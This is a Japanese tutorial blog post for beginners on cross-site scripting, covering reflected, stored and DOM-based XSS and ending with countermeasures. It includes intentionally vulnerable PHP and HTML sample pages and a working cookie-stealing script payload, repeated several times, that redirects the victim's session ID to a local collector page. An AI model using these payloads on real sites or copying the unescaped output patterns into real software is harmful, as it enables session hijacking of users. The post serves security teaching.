どうもこんにちは、ikkyuです。XSSについてまとめる機会があり、せっかくなので記事にしたいと思います。初学者の方にはちょっとややこしいですよね。また具体的なコードを使って説明しているサイトが少ないためイメージがつきにくいというのもあると思います。
twitter:@ikk_hck
#XSSって?
おおまかに説明すると以下のようになります。読んでわからない部分があってまだ大丈夫です。
- [IPA(情報処理推進機構)](https://www.ipa.go.jp/files/000086442.pdf)によると、ウェブサイトの脆弱性の種類別の届出状況において58%がクロスサイトスクリプティング
- 外部からウェブサイトにスクリプトを挿入できてしまうというのが根本的な問題
- さらに攻撃対象としてはユーザの入力に対して動的にページを生成するようなアプリが基本的に対象
- 最近はクロスサイト(今回の場合はリダイレクトされること)されなくてもクロスサイトスクリプティングと呼ばれるので初学者の方が混乱しがち
#同一生成元ポリシー
まず前提としてブラウザには同一生成元ポリシーという制限がります。例えば、私がほかのサイトを閲覧した時、そこに書かれていたスクリプトを私のブラウザが実行してしまったとしても、そのスクリプトは私のブラウザのCookieなどを取得することはできません。詳しくは同一オリジンポリシーなどのサイトにおまかせします。
要するに、ブラウザは「同一生成元ポリシー」の考え方のもと作られているので、あるサイトから読み込まれたスクリプトが、他のサイトのデータにアクセスすることはできません。そして、XSSは同一性制限ポリシー制限を回避することが目的です。
#XSSの種類
XSSには以下の3種類があります。
- 反射型XSS
- 格納型XSS
- DOM-based XSS
はじめてXSSにふれる方には以下のような説明にあまりピンとこないかもしれませんが、大丈夫です。さらっとよんで記事を読み終わったら再びここを読んでみてください。
まずは横長の枠ですが、反射型と格納型が入っています。これらはサーバ側で攻撃用のスクリプトが実行されます。逆にDOM-based型はフロント側で攻撃用スクリプトが実行されます(※基本的に)。
次に縦長の枠ですが、DOM-based型は反射型に分類されるので、反射型と同じ枠に入っています。反射型とDOM-based型ある意味で仕組みが似ているため、DOM-based型は反射方のサブカテゴリーに分類されます。
#反射型
- 攻撃者は偽メールや偽サイトに不正なスクリプトを含んだリンクを用意
- それを踏ませて脆弱性のあるWEBサイトに誘導する(リクエストさせる)
- ユーザーのブラウザで不正なスクリプトを実行
- 情報の搾取やマルウェアのダウンロード
たとえば、図の中の①で攻撃者が用意したリンクがありますが、このなかのhttp://localhost/sample.php
というサイトが以下のようなものと仮定します。
<?php
session_start();
?>
<?php
header("Content-Type: text/html; charset=UTF-8");
$input = filter_input(INPUT_GET, "q");
?>
<!doctype html>
<html>
<head>
<title>xss</title>
</head>
<body>
<form>
<input type="text" name="q" value="<?=$input?>">
<input type="submit" value="search">
</form>
<?php
if($input):
?>
<?=$input?>がみつかりました
<?php
endif;
?>
</body>
</html>
余談ですが、XAMPPをつかって環境構築する際に、macの場合、chromeをつかってXAMPPをダウンロードするとうまくいかなかったので注意。私の場合safariからだとうまくいきました。
このようになります。
ここで、http://localhost/sample.php?q=<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>
のリンクをメールなどに添付し、誰かにリンクを踏ませます。クエリにわたしているjsでは、まずidという変数にcookieを入れて、次にその変数を保持したままtmp.phpにリダイレクトするよう記述しています。リンクをクリックすると、
<?php
if($input):
?>
<?=$input?>がみつかりました
<?php
endif;
?>
sample.php内の=$input?>の部分に
<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>
というjsが挿入され、発火して予定通りページがcookieを保持したままtmp.phpにリダイレクトされます。tmp.phpは、たとえば以下のようにすると
<?php
header("Content-Type: text/html; charset=UTF-8");
$input = filter_input(INPUT_GET, "sessionid");
?>
<!doctype html>
<html>
<head>
<title>xss</title>
</head>
<body>
<?=$input?>
</body>
</html>
受け取ったsessionidの内容を$inputに格納し、それを表示します。
セッションIDが表示されていることがわかります。
#格納型
格納型の特徴としては
- データベースにスクリプトが書き込まれる
- ユーザは通常通りにWebアプリを使用するだけで攻撃が実行される
- 時間が経ってから不特定多数のユーザーに攻撃できてしまう
掲示板サイトを例に説明します。まず攻撃者が不正なスクリプトを含む文字列を掲示板に投稿します。するとWebアプリケーションが利用するデータベースに不正な動作をするスクリプトが保存されます。
こうなれば、反射型のように、HTTPリクエスト中に攻撃コードの記述があるかどうかに関係なく、Webページ上で持続的にスクリプトが動作します。ユーザーがアクセスする度にコードが実行されるため、被害が拡大する傾向があります。
#DOM-based型
特徴として
- 反射型のサブカテゴリー
- クライアントのブラウザ上で動作
- HTMLにスクリプトを埋め込まない
- ブラウザの備えているXSS保護機構を回避
<!doctype html>
<html>
<head>
<title>xss</title>
</head>
<body>
<script>
document.write(decodeURIComponent (location.hash));
</script>
</body>
</html>
というdom_based.htmlがあったとします。ここで、http://localhost/dom_based.html#<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>
というリンクを作成し、反射型と同じように誰かにリンクを踏ませます。構図としては反射型のときに見た図と同じです。するとdom_based.htmlのなかのscriptタグで、リンクの#以下に記述した
<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>
が発火し、tmp.phpにリダイレクトされcookieが漏洩します。ここで反射型との重要な違いはサーバが攻撃スクリプトを出力していないということです。
近年ブラウザ上でJavaScriptによってHTMLを操作することが増えるにつれて,DOM-based XSSの発生する割合も増加しています。
#対策
- アプリケーションを最新に保つ
- サニタイジング
- 不正メールをブロック
- WAF
- HTTPレスポンスヘッダのContent-Typeフィールドに文字コードを指定
- ”document.write”などの代わりに”createElement”、”createTextNode”などを使う
- どうしても”document.write”などを使いたいならその箇所にエスケープ
- フラグメント識別子の値の変化による挙動を確認
では。